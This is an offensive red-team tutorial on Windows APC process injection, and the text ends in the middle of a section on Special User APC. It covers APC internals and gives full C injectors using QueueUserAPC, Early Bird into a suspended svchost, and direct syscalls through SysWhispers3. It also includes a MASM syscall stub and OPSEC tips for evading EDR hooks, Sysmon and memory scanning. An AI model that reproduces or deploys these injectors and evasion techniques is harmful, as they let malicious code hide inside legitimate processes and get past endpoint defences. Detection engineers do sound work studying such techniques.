Legend:
[APC]= APC-specific technique |[INJECT]= Injection method |[SYSCALL]= Syscall / API |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[WIN]= Windows internals detail
1. What is APC Injection
What it means: APC (Asynchronous Procedure Call) Injection is a code injection technique that abuses the Windows APC mechanism to execute arbitrary shellcode inside the address space of a target process. Instead of creating a new thread (which is heavily monitored), the attacker queues a function pointer to an existing thread's APC queue. When the thread enters an alertable wait state, Windows automatically calls the queued function — executing the attacker's shellcode in the context of the target thread, in the target process.
Why APC injection over CreateRemoteThread:
CreateRemoteThread (classic injection):
├─ Creates a brand NEW thread in target process
├─ Immediately visible: new thread in process — high EDR alert
├─ ETW (Event Tracing for Windows) logs thread creation
├─ Sysmon Event ID 8: CreateRemoteThread — VERY noisy
└─ Detection: Trivial for any modern EDR
APC Injection:
├─ Queues function to an EXISTING thread — no new thread created
├─ Thread already exists in the process — less suspicious
├─ Execution deferred until thread enters alertable wait
├─ No Sysmon Event 8 generated
└─ Detection: Harder — requires monitoring NtQueueApcThread calls
High-level attack flow:
Attacker Process Target Process
─────────────── ──────────────
1. OpenProcess() ──────────► Get handle to target
2. VirtualAllocEx() ─────────► Allocate RWX memory in target
3. WriteProcessMemory() ──────► Write shellcode to allocation
4. QueueUserAPC() ────────────► Queue shellcode ptr to thread's APC queue
│
▼
Thread APC Queue:
[shellcode_ptr] ◄─── waiting
│
▼
Thread enters SleepEx() /
WaitForSingleObjectEx() /
MsgWaitForMultipleObjectsEx()
[alertable wait]
│
▼
Windows dispatches APC:
→ Calls shellcode_ptr()
→ Shellcode executes in
target thread context
Why it matters for red teaming:
| Scenario | CreateRemoteThread | APC Injection |
|---|---|---|
| New thread created | YES — logged | NO — uses existing |
| Sysmon Event 8 | YES — always fired | NO |
| ETW thread create event | YES | NO |
| Execution timing | Immediate | Deferred (alertable wait) |
| Target must be alertable | No | YES — key constraint |
| Works on self (current process) | Yes | Yes (SleepEx trick) |
| PPL protected process bypass | No | No (both need handle) |
| Noise level | Very High | Low–Medium |
[OPSEC] APC injection still requires OpenProcess() with PROCESS_ALL_ACCESS or at minimum PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_VM_READ. That handle open is itself a detection point.
2. Windows APC Internals
What it means: Understanding the internal structures Windows uses for APCs is critical for exploiting and evading detection of this technique. APCs are implemented as a kernel-side linked list on each thread object (KTHREAD). Each entry in the list is an KAPC structure. The dispatcher calls queued APCs when a thread voluntarily enters an alertable wait.
2.1 KAPC Structure (Kernel APC Object)
KAPC Structure (Windows 10/11 x64):
typedef struct _KAPC {
UCHAR Type; // 0x00 — ApcObject (18)
UCHAR SpareByte0; // 0x01
UCHAR Size; // 0x02 — sizeof(KAPC) = 0x58
UCHAR SpareByte1; // 0x03
ULONG SpareLong0; // 0x04
KTHREAD *Thread; // 0x08 — owning thread
LIST_ENTRY ApcListEntry; // 0x10 — links in APC queue list
PKKERNEL_ROUTINE KernelRoutine; // 0x20 — kernel APC callback
PKRUNDOWN_ROUTINE RundownRoutine; // 0x28 — cleanup on thread exit
PKNORMAL_ROUTINE NormalRoutine; // 0x30 — user-mode APC callback
PVOID NormalContext; // 0x38 — arg1 to NormalRoutine
PVOID SystemArgument1; // 0x40 — arg2 to NormalRoutine
PVOID SystemArgument2; // 0x48 — arg3 to NormalRoutine
CCHAR ApcStateIndex; // 0x50 — which APC list (0=kernel, 1=user)
KPROCESSOR_MODE ApcMode; // 0x51 — KernelMode(0) or UserMode(1)
BOOLEAN Inserted; // 0x52 — TRUE if in queue
} KAPC, *PKAPC;
2.2 KTHREAD APC Queue Location
KTHREAD relevant fields (abbreviated, Windows 10 x64):
KTHREAD
├─ ...
├─ +0x090 ApcStateFill[0x43] ← APC state embedded here
├─ +0x098 KAPC_STATE ApcState ← Primary APC state
│ ├─ ApcListHead[0] ← Kernel APC list head
│ ├─ ApcListHead[1] ← User APC list head ◄── Our target
│ ├─ Process ← Owning process
│ ├─ KernelApcInProgress
│ ├─ KernelApcPending
│ └─ UserApcPending ◄── Flag: user APC queued
├─ +0x2b8 KAPC_STATE SavedApcState
└─ ...
When QueueUserAPC() is called:
1. NtQueueApcThread() syscall → kernel
2. Kernel inserts KAPC into KTHREAD.ApcState.ApcListHead[1] (user list)
3. Sets KTHREAD.ApcState.UserApcPending = TRUE
4. Sets KTHREAD.Tcb.ApcState.UserApcPending = TRUE
5. Optionally: alert the thread (if in alertable wait)
2.3 APC Dispatch Flow (What Happens at Alertable Wait)
Thread calls SleepEx(ms, TRUE): ← TRUE = alertable
│
├─ Kernel: KeWaitForSingleObject with Alertable=TRUE
├─ Kernel checks: ApcState.UserApcPending?
│ └─ YES → don't sleep, return STATUS_USER_APC
│
├─ KiDeliverApc() is called:
│ ├─ Walk ApcListHead[1] (user APC list)
│ ├─ For each KAPC entry:
│ │ ├─ Set up user-mode stack frame
│ │ ├─ Push: NormalContext, SystemArgument1, SystemArgument2
│ │ ├─ Push: return address → KiUserApcDispatcher
│ │ └─ Set RIP = NormalRoutine (our shellcode pointer)
│ └─ Return to user mode
│
├─ CPU: now executing at RIP = shellcode_ptr
│ ├─ Our shellcode runs in the context of the target thread
│ └─ After shellcode returns → KiUserApcDispatcher cleans up
│
└─ Thread continues normal execution
2.4 Key APIs
User-Mode APIs:
┌──────────────────────────────────────────────────────────────┐
│ QueueUserAPC(pfnAPC, hThread, dwData) │
│ → Calls NtQueueApcThread() syscall │
│ → pfnAPC: PAPCFUNC callback (shellcode ptr) │
│ → hThread: target thread handle │
│ → dwData: single ULONG_PTR argument to pfnAPC │
├──────────────────────────────────────────────────────────────┤
│ NtQueueApcThread(hThread, ApcRoutine, Arg1, Arg2, Arg3) │
│ → Native syscall (ntdll.dll) │
│ → 3 arguments vs QueueUserAPC's 1 │
│ → Direct syscall possible (avoid hooked ntdll) │
├──────────────────────────────────────────────────────────────┤
│ NtQueueApcThreadEx(hThread, ReserveHandle, ApcRoutine, ...) │
│ → Extended version — Special User APC (Win10+) │
│ → Does NOT require alertable state │
│ → ReserveHandle controls memory reservation │
└──────────────────────────────────────────────────────────────┘
3. APC Queue States — Alertable vs Non-Alertable
What it means: This is the most important constraint of classic APC injection. A thread only processes its user-mode APC queue when it voluntarily enters an alertable wait state. A thread that never calls alertable wait functions will never execute queued APCs — the shellcode will sit in the queue forever (or until the process exits).
3.1 Alertable Wait Functions
Functions that cause a thread to enter ALERTABLE wait
(and therefore process queued APCs):
Win32 API Level:
├─ SleepEx(dwMilliseconds, TRUE) ← bAlertable MUST be TRUE
├─ WaitForSingleObjectEx(h, ms, TRUE)
├─ WaitForMultipleObjectsEx(n, h, b, ms, TRUE)
├─ SignalObjectAndWait(h1, h2, ms, TRUE)
├─ MsgWaitForMultipleObjectsEx(n, h, ms, QS_*, MWMO_ALERTABLE)
└─ GetQueuedCompletionStatusEx(iocp, buf, n, removed, ms, TRUE)
Native API Level:
├─ NtWaitForSingleObject(h, TRUE, timeout)
├─ NtWaitForMultipleObjects(n, h, wait, TRUE, timeout)
├─ NtDelayExecution(TRUE, interval) ← SleepEx → this
└─ ZwWaitForSingleObject(h, TRUE, timeout)
NOTE: Regular Sleep() is NOT alertable:
├─ Sleep(1000) ← NON-alertable, APCs never dispatched
└─ SleepEx(1000, TRUE) ← ALERTABLE, APCs dispatched
3.2 Common Processes with Alertable Threads
Processes commonly found with alertable threads:
explorer.exe
├─ Shell window management uses alertable I/O
├─ MsgWaitForMultipleObjectsEx in message loop
└─ Reliability: Medium (depends on UI activity)
svchost.exe
├─ Many service host threads use completion ports
├─ GetQueuedCompletionStatusEx (alertable)
└─ Reliability: High (service threads always waiting)
werfault.exe
├─ Error reporting — lots of I/O waits
└─ Reliability: Low (short-lived)
notepad.exe / any GUI app
├─ Main message pump uses alertable wait variants
└─ Reliability: Medium
spoolsv.exe
├─ Print spooler — heavy I/O
└─ Reliability: High
SearchIndexer.exe / SearchProtocolHost.exe
├─ Continuous indexing — always waiting for I/O
└─ Reliability: High
3.3 Check If Thread Is in Alertable Wait (Python — via Debugging)
#!/usr/bin/env python3
# check_alertable.py — Identify threads in alertable wait using WinAPI
# Requires: pywin32
import win32api
import win32con
import win32process
import ctypes
import sys
THREAD_QUERY_INFORMATION = 0x0040
TH32CS_SNAPTHREAD = 0x00000004
class THREADENTRY32(ctypes.Structure):
_fields_ = [
("dwSize", ctypes.c_ulong),
("cntUsage", ctypes.c_ulong),
("th32ThreadID", ctypes.c_ulong),
("th32OwnerProcessID", ctypes.c_ulong),
("tpBasePri", ctypes.c_long),
("tpDeltaPri", ctypes.c_long),
("dwFlags", ctypes.c_ulong),
]
def get_threads_of_pid(pid: int) -> list:
"""Return list of thread IDs belonging to a process."""
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
if snapshot == ctypes.c_void_p(-1).value:
return []
threads = []
entry = THREADENTRY32()
entry.dwSize = ctypes.sizeof(THREADENTRY32)
if kernel32.Thread32First(snapshot, ctypes.byref(entry)):
while True:
if entry.th32OwnerProcessID == pid:
threads.append(entry.th32ThreadID)
if not kernel32.Thread32Next(snapshot, ctypes.byref(entry)):
break
kernel32.CloseHandle(snapshot)
return threads
def is_thread_in_alertable_wait(tid: int) -> bool:
"""
Heuristic: open thread, try to queue a no-op APC.
If QueueUserAPC succeeds AND thread wakes immediately,
it was in alertable wait.
(For enumeration only — use SuspendThread+GetContext for real check)
"""
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
hThread = kernel32.OpenThread(
THREAD_QUERY_INFORMATION | 0x0002, # + THREAD_SUSPEND_RESUME
False, tid
)
if not hThread:
return False
# Get thread context to check RIP against known alertable functions
# (ntdll!NtDelayExecution, ntdll!NtWaitForSingleObject, etc.)
# Full implementation requires SuspendThread + GetThreadContext
# This is a simplified check
kernel32.CloseHandle(hThread)
return True
# ─── Usage ───────────────────────────────────────────────────
target_pid = int(sys.argv[1]) if len(sys.argv) > 1 else 0
if target_pid:
tids = get_threads_of_pid(target_pid)
print(f"[*] Threads in PID {target_pid}: {tids}")
for tid in tids:
print(f" TID {tid}")
4. Classic APC Injection (QueueUserAPC)
What it means: The foundational APC injection technique. Allocate memory in the target process, write shellcode, then call QueueUserAPC() pointing at the shellcode for one or more threads in the target. The shellcode executes when any of those threads enters an alertable wait. This is the baseline everyone learns first.
4.1 Full Implementation (C — QueueUserAPC)
// apc_inject.c — Classic APC Injection via QueueUserAPC
// Compile: cl.exe apc_inject.c /Fe:apc_inject.exe
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// ─── Shellcode placeholder ────────────────────────────────────
// Replace with your actual shellcode (msfvenom, Havoc, Sliver, etc.)
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
// ... truncated for brevity, paste full shellcode here
0x58, 0xc3
};
SIZE_T shellcode_len = sizeof(shellcode);
// ─────────────────────────────────────────────────────────────
// Get all thread IDs for a given process ID
DWORD* GetProcessThreadIDs(DWORD pid, DWORD* count) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) return NULL;
THREADENTRY32 te = { sizeof(THREADENTRY32) };
DWORD capacity = 64, idx = 0;
DWORD* tids = (DWORD*)HeapAlloc(GetProcessHeap(), 0, capacity * sizeof(DWORD));
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
if (idx >= capacity) {
capacity *= 2;
tids = (DWORD*)HeapReAlloc(GetProcessHeap(), 0, tids, capacity * sizeof(DWORD));
}
tids[idx++] = te.th32ThreadID;
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
*count = idx;
return tids;
}
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: %s <target_pid>\n", argv[0]);
return 1;
}
DWORD target_pid = (DWORD)atoi(argv[1]);
printf("[*] Target PID: %lu\n", target_pid);
// ── Step 1: Open target process ──────────────────────────
HANDLE hProcess = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION,
FALSE,
target_pid
);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Process handle: 0x%p\n", hProcess);
// ── Step 2: Allocate RWX memory in target ────────────────
LPVOID remote_buf = VirtualAllocEx(
hProcess,
NULL,
shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // RWX — detectable, see §10 for better approach
);
if (!remote_buf) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
printf("[+] Remote allocation: 0x%p (%zu bytes)\n", remote_buf, shellcode_len);
// ── Step 3: Write shellcode ──────────────────────────────
SIZE_T bytes_written = 0;
if (!WriteProcessMemory(hProcess, remote_buf, shellcode, shellcode_len, &bytes_written)) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remote_buf, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("[+] Shellcode written (%zu bytes)\n", bytes_written);
// ── Step 4: Queue APC to ALL threads in target ───────────
// Queue to ALL threads = higher chance one is alertable
DWORD thread_count = 0;
DWORD* tids = GetProcessThreadIDs(target_pid, &thread_count);
printf("[*] Found %lu threads in PID %lu\n", thread_count, target_pid);
DWORD queued = 0;
for (DWORD i = 0; i < thread_count; i++) {
HANDLE hThread = OpenThread(
THREAD_SET_CONTEXT, // Minimum required for QueueUserAPC
FALSE,
tids[i]
);
if (!hThread) {
printf(" [-] Thread %lu: OpenThread failed (%lu)\n", tids[i], GetLastError());
continue;
}
// Cast shellcode pointer to PAPCFUNC
if (QueueUserAPC((PAPCFUNC)remote_buf, hThread, 0)) {
printf(" [+] Thread %lu: APC queued\n", tids[i]);
queued++;
} else {
printf(" [-] Thread %lu: QueueUserAPC failed (%lu)\n", tids[i], GetLastError());
}
CloseHandle(hThread);
}
printf("[*] APCs queued to %lu/%lu threads\n", queued, thread_count);
printf("[*] Shellcode will execute when a thread enters alertable wait\n");
HeapFree(GetProcessHeap(), 0, tids);
CloseHandle(hProcess);
return 0;
}
4.2 Compile and Run
:: Compile with MSVC (Visual Studio Developer Command Prompt)
cl.exe apc_inject.c /Fe:apc_inject.exe /nologo
:: Compile with MinGW (cross-compile from Linux)
x86_64-w64-mingw32-gcc apc_inject.c -o apc_inject.exe -lkernel32
:: Run
apc_inject.exe 1234 :: Inject into PID 1234
:: Find PID of target
tasklist | findstr notepad :: Get notepad.exe PID
Get-Process notepad | Select Id :: PowerShell
4.3 QueueUserAPC Argument Detail
// QueueUserAPC signature:
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // Pointer to APC function (shellcode address)
HANDLE hThread, // Thread to queue APC to
ULONG_PTR dwData // Single argument passed to pfnAPC
);
// PAPCFUNC signature (what your shellcode "acts as"):
typedef VOID (NTAPI *PAPCFUNC)(ULONG_PTR dwParam);
// The thread must have THREAD_SET_CONTEXT access right
// Minimum process rights needed:
// PROCESS_VM_WRITE — WriteProcessMemory
// PROCESS_VM_OPERATION — VirtualAllocEx
// PROCESS_QUERY_INFORMATION — used for various queries
// Full: PROCESS_ALL_ACCESS (noisy — avoid if possible)
// Return value:
// Non-zero = APC queued successfully
// Zero = Failed, call GetLastError()
[DETECT] QueueUserAPC is a well-known injection API. EDR hooks on QueueUserAPC and NtQueueApcThread in ntdll.dll are common. Use direct syscalls (see §6) to avoid user-land hooks.
5. Early Bird APC Injection
What it means: Early Bird is the most reliable and OPSEC-friendly APC variant. Instead of injecting into an existing process (requiring OpenProcess on a running target), you create a new process in suspended state, inject shellcode before the main thread even runs, then resume. The injected code runs before the process's own entry point — before EDR hooks are initialized in the target process. This means the shellcode runs before any EDR DLLs loaded by the target can monitor execution.
5.1 Why Early Bird Beats Classic APC
Classic APC (existing process):
├─ Target process already running
├─ EDR has already injected its monitoring DLLs
├─ EDR hooks on key APIs are already active in target
├─ Need alertable thread (uncertain)
└─ OpenProcess on a running process = loud signal
Early Bird (new suspended process):
├─ CREATE the process ourselves (controlled)
├─ Process in SUSPENDED state → nothing has run yet
├─ No EDR DLLs loaded yet in target (just ntdll + kernel32)
├─ Main thread is alertable by design in suspended state
├─ Shellcode runs BEFORE process entry point
├─ Shellcode runs BEFORE EDR can hook target's APIs
└─ Detection: Much harder — process creation looks legitimate
5.2 Early Bird Implementation (C)
// early_bird.c — Early Bird APC Injection
// Creates a legitimate process in suspended state, injects shellcode,
// resumes — shellcode runs before target's own code.
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
// Replace with actual shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
// ... paste full shellcode bytes here ...
0x58, 0xc3
};
SIZE_T shellcode_len = sizeof(shellcode);
int main() {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
// ── Step 1: Create target process in SUSPENDED state ─────
// Use a legitimate Windows binary as the "host"
// svchost.exe, RuntimeBroker.exe, notepad.exe, etc.
BOOL created = CreateProcessA(
NULL, // Application name
"C:\\Windows\\System32\\svchost.exe -k netsvcs", // Command line
NULL, // Process security
NULL, // Thread security
FALSE, // Inherit handles
CREATE_SUSPENDED | CREATE_NO_WINDOW, // SUSPENDED is the key flag
NULL, // Inherit environment
NULL, // Inherit working directory
&si,
&pi
);
if (!created) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Process created (suspended)\n");
printf(" PID: %lu\n", pi.dwProcessId);
printf(" TID: %lu (main thread, suspended)\n", pi.dwThreadId);
// ── Step 2: Allocate RWX memory in the NEW process ───────
LPVOID remote_buf = VirtualAllocEx(
pi.hProcess,
NULL,
shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remote_buf) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
return 1;
}
printf("[+] Remote allocation: 0x%p\n", remote_buf);
// ── Step 3: Write shellcode ──────────────────────────────
SIZE_T written = 0;
WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_len, &written);
printf("[+] Shellcode written: %zu bytes\n", written);
// ── Step 4: Queue APC to the suspended main thread ───────
// The suspended main thread IS alertable — it will execute our APC
// the moment we resume it (before its own entry point runs)
if (!QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, 0)) {
printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
return 1;
}
printf("[+] APC queued to main thread (TID: %lu)\n", pi.dwThreadId);
// ── Step 5: Resume the thread ────────────────────────────
// Thread wakes → checks APC queue → executes shellcode →
// THEN runs process entry point (or shellcode takes over completely)
ResumeThread(pi.hThread);
printf("[+] Thread resumed — shellcode executing\n");
// Close handles
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
5.3 Choosing the Right Host Process
// Good host processes for Early Bird:
// ─────────────────────────────────────────────────────────────
// Blends in well:
const char* good_hosts[] = {
"C:\\Windows\\System32\\svchost.exe", // Very common, multiple instances
"C:\\Windows\\System32\\RuntimeBroker.exe", // Common Windows 10/11 process
"C:\\Windows\\System32\\dllhost.exe", // COM surrogate — blends well
"C:\\Windows\\SysWOW64\\dllhost.exe", // 32-bit COM (if targeting 32-bit)
"C:\\Windows\\System32\\WerFault.exe", // Error reporting
"C:\\Windows\\System32\\conhost.exe", // Console window host
NULL
};
// For living-off-the-land:
// Match the target process to the environment
// (finance network → use Excel/Word via COM; IT network → svchost)
// Suspicious / avoid:
// - cmd.exe spawning unusual children (parent-child anomaly)
// - powershell.exe (heavily monitored)
// - msbuild.exe / wscript.exe / cscript.exe (LOLBin flagged)
5.4 Early Bird with RW→RX Memory (Better OPSEC)
// Better OPSEC: Allocate RW, write, change to RX — avoid RWX
// RWX regions are heavily flagged by EDR
LPVOID remote_buf = VirtualAllocEx(
pi.hProcess,
NULL,
shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE // Start as RW (not RWX)
);
// Write shellcode
WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_len, NULL);
// Change protection to RX (executable, not writable)
DWORD old_protect;
VirtualProtectEx(
pi.hProcess,
remote_buf,
shellcode_len,
PAGE_EXECUTE_READ, // RX — no write permission
&old_protect
);
// Now queue APC and resume
QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, 0);
ResumeThread(pi.hThread);
[OPSEC] Early Bird is one of the cleanest injection techniques. The main detection vector is the CREATE_SUSPENDED flag on CreateProcess followed quickly by WriteProcessMemory + QueueUserAPC on the new process — that sequence is a known signature. Randomize timing between steps.
6. APC Injection via NtQueueApcThread (Native API)
What it means: QueueUserAPC (in kernel32.dll) is a thin wrapper that calls NtQueueApcThread in ntdll.dll, which makes a syscall into the kernel. EDRs commonly hook QueueUserAPC and NtQueueApcThread at the ntdll level to intercept injections. By using direct syscalls (bypassing ntdll entirely), you make the syscall instruction directly — EDR hooks in ntdll are never called.
6.1 Why Direct Syscalls Beat Hooked APIs
Call chain (hooked by EDR):
Your code
→ QueueUserAPC (kernel32.dll) ← EDR hook possible
→ NtQueueApcThread (ntdll.dll) ← EDR HOOK HERE (most common)
→ syscall instruction
→ kernel
Call chain (direct syscall):
Your code
→ syscall stub (in YOUR code) ← EDR hook NOT present
→ syscall instruction
→ kernel
(ntdll never called — hooks bypassed)
6.2 NtQueueApcThread Syscall Number
// Syscall numbers change between Windows versions
// Must resolve at runtime or use a library like SysWhispers
// Windows 10 21H2 (x64): NtQueueApcThread = 0x0069
// Windows 10 22H2 (x64): NtQueueApcThread = 0x0069
// Windows 11 21H2 (x64): NtQueueApcThread = 0x006B
// Windows 11 22H2 (x64): NtQueueApcThread = 0x006B
// Windows Server 2019 : NtQueueApcThread = 0x0069
// (Numbers shift with each major update — ALWAYS resolve dynamically)
// NtQueueApcThread prototype:
typedef NTSTATUS (NTAPI *pNtQueueApcThread)(
HANDLE ThreadHandle,
PVOID ApcRoutine, // Shellcode pointer
PVOID ApcRoutineContext, // Arg1 to ApcRoutine
PVOID ApcStatusBlock, // Arg2
PVOID ApcReserved // Arg3
);
6.3 Direct Syscall Stub (x64 MASM / Inline)
; NtQueueApcThread direct syscall stub (x64 MASM)
; Assemble: ml64.exe /c syscall_stubs.asm
PUBLIC NtQueueApcThread_Syscall
.CODE
NtQueueApcThread_Syscall PROC
; Syscall number for NtQueueApcThread
; Replace 0069h with resolved number at runtime
mov r10, rcx ; NT calling convention: first arg → r10
mov eax, 0069h ; syscall number (hardcoded or patched at runtime)
syscall ; enter kernel
ret
NtQueueApcThread_Syscall ENDP
END
6.4 SysWhispers3 — Dynamic Syscall Resolution
# SysWhispers3: https://github.com/klezVirus/SysWhispers3
# Generates direct syscall stubs with dynamic SSN (Syscall Service Number) resolution
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip3 install -r requirements.txt
# Generate syscall stubs for NtQueueApcThread + other needed APIs
python3 syswhispers.py \
--functions NtQueueApcThread,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtOpenProcess,NtOpenThread \
--out-file syscalls \
--arch x64 \
--compiler msvc
# Output files:
# syscalls.h — function declarations
# syscalls.c — resolver implementation
# syscallsstubs.asm — actual syscall stubs
# Compile with your project:
# cl.exe your_injector.c syscalls.c /Fe:injector.exe
# Then link syscallsstubs.asm (compiled with ml64.exe)
6.5 Full NtQueueApcThread Injection with SysWhispers
// nt_apc_inject.c — APC injection using direct syscalls (SysWhispers3)
#include <windows.h>
#include "syscalls.h" // Generated by SysWhispers3
unsigned char shellcode[] = { /* your shellcode */ 0xcc };
SIZE_T shellcode_len = sizeof(shellcode);
// Helper: resolve PID to HANDLE via NtOpenProcess (syscall)
HANDLE OpenProcessSyscall(DWORD pid) {
HANDLE hProcess = NULL;
OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };
CLIENT_ID clientId = { (HANDLE)(ULONG_PTR)pid, 0 };
// NtOpenProcess — direct syscall (from SysWhispers)
NTSTATUS status = NtOpenProcess(
&hProcess,
PROCESS_ALL_ACCESS,
&objAttr,
&clientId
);
return (NT_SUCCESS(status)) ? hProcess : NULL;
}
// Helper: open thread via NtOpenThread (syscall)
HANDLE OpenThreadSyscall(DWORD tid) {
HANDLE hThread = NULL;
OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };
CLIENT_ID clientId = { 0, (HANDLE)(ULONG_PTR)tid };
NTSTATUS status = NtOpenThread(
&hThread,
THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION,
&objAttr,
&clientId
);
return (NT_SUCCESS(status)) ? hThread : NULL;
}
void InjectApcSyscall(DWORD pid, DWORD tid) {
// ── Step 1: Open process ─────────────────────────────────
HANDLE hProcess = OpenProcessSyscall(pid);
if (!hProcess) { printf("[-] NtOpenProcess failed\n"); return; }
// ── Step 2: Allocate memory (RW first) ───────────────────
PVOID remote_buf = NULL;
SIZE_T region_size = shellcode_len;
// NtAllocateVirtualMemory — direct syscall
NTSTATUS st = NtAllocateVirtualMemory(
hProcess,
&remote_buf,
0,
®ion_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!NT_SUCCESS(st)) { printf("[-] NtAllocateVirtualMemory: 0x%08X\n", st); return; }
printf("[+] Allocated: 0x%p\n", remote_buf);
// ── Step 3: Write shellcode ──────────────────────────────
SIZE_T bytes_written = 0;
// NtWriteVirtualMemory — direct syscall
st = NtWriteVirtualMemory(hProcess, remote_buf, shellcode, shellcode_len, &bytes_written);
if (!NT_SUCCESS(st)) { printf("[-] NtWriteVirtualMemory: 0x%08X\n", st); return; }
// ── Step 4: Change to RX ─────────────────────────────────
DWORD old_protect;
SIZE_T protect_size = shellcode_len;
// NtProtectVirtualMemory — direct syscall
st = NtProtectVirtualMemory(hProcess, &remote_buf, &protect_size, PAGE_EXECUTE_READ, &old_protect);
if (!NT_SUCCESS(st)) { printf("[-] NtProtectVirtualMemory: 0x%08X\n", st); return; }
printf("[+] Memory set to RX\n");
// ── Step 5: Open thread and queue APC ────────────────────
HANDLE hThread = OpenThreadSyscall(tid);
if (!hThread) { printf("[-] NtOpenThread failed\n"); return; }
// NtQueueApcThread — direct syscall (the key one)
st = NtQueueApcThread(
hThread,
(PVOID)remote_buf, // ApcRoutine = shellcode ptr
remote_buf, // ApcRoutineContext (arg1) = same ptr (some shellcode needs this)
NULL, // ApcStatusBlock
NULL // ApcReserved
);
if (NT_SUCCESS(st)) {
printf("[+] NtQueueApcThread succeeded (direct syscall)\n");
} else {
printf("[-] NtQueueApcThread: 0x%08X\n", st);
}
NtClose(hThread);
NtClose(hProcess);
}
[OPSEC] Direct syscalls bypass user-land EDR hooks but are still visible at the kernel ETW level (Microsoft-Windows-Kernel-Process provider). Kernel-mode ETW is harder for attackers to control.
7. NtQueueApcThreadEx — Special User APC
What it means: NtQueueApcThreadEx is an extended version of NtQueueApcThread introduced in Windows 10. Its key feature: when called with a Special User APC (QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC), the APC does not require the thread to be in an alertable state. It delivers the APC to the thread at the next kernel-to-user mode transition — after any system call, interrupt handler return, or exception handler return. This defeats the primary limitation of classic APC injection.
7.1 Special User APC vs Regular User APC
Regular User APC (QueueUserAPC / NtQueueApcThread):
├─ APC sits in queue until thread is alertable
├─ Thread must call SleepEx(TRUE), WaitForSingleObjectEx(TRUE), etc.
├─ If thread never becomes alertable → APC never executes
└─ Limitation: Requires alertable thread
Special User APC (NtQueueApcThreadEx):
├─ APC delivered at NEXT kernel exit (any syscall return, int handler)
├─ Thread does NOT need to be alertable
├─ Delivered nearly immediately (next time thread returns from kernel)
├─ Much more reliable — works on almost any thread
└─ Available: Windows 10 RS5 (1809) and later
7.2 NtQueueApcThreadEx Prototype and Flags
// NtQueueApcThreadEx is undocumented — defined via reverse engineering
typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx)(
HANDLE ThreadHandle,
HANDLE ReserveHandle, // NULL for Special User APC (no reserve obj)
PVOID ApcRoutine,
PVOID ApcRoutineContext, // Arg1
PVOID ApcStatusBlock, // Arg2
PVOID ApcReserved // Arg3
);
// Or newer signature (Windows 10 20H2+):
typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx2)(
HANDLE ThreadHandle,
HANDLE ReserveHandle,
ULONG ApcFlags, // Key: QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
PVOID ApcRoutine,
PVOID SystemArgument1,
PVOID SystemArgument2,
PVOID SystemArgument3
);
// APC Flags:
#define QUEUE_USER_APC_FLAGS_NONE 0x0
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 0x1 // ← This is the magic flag
7.3 Implementation (C — Dynamic Resolution)
// special_user_apc.c — NtQueueApcThreadEx with Special User APC flag
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx)(
HANDLE ThreadHandle,
HANDLE ReserveHandle,
ULONG ApcFlags,
PVOID ApcRoutine,
PVOID SystemArgument1,
PVOID SystemArgument2,
PVOID SystemArgument3
);
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 0x1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
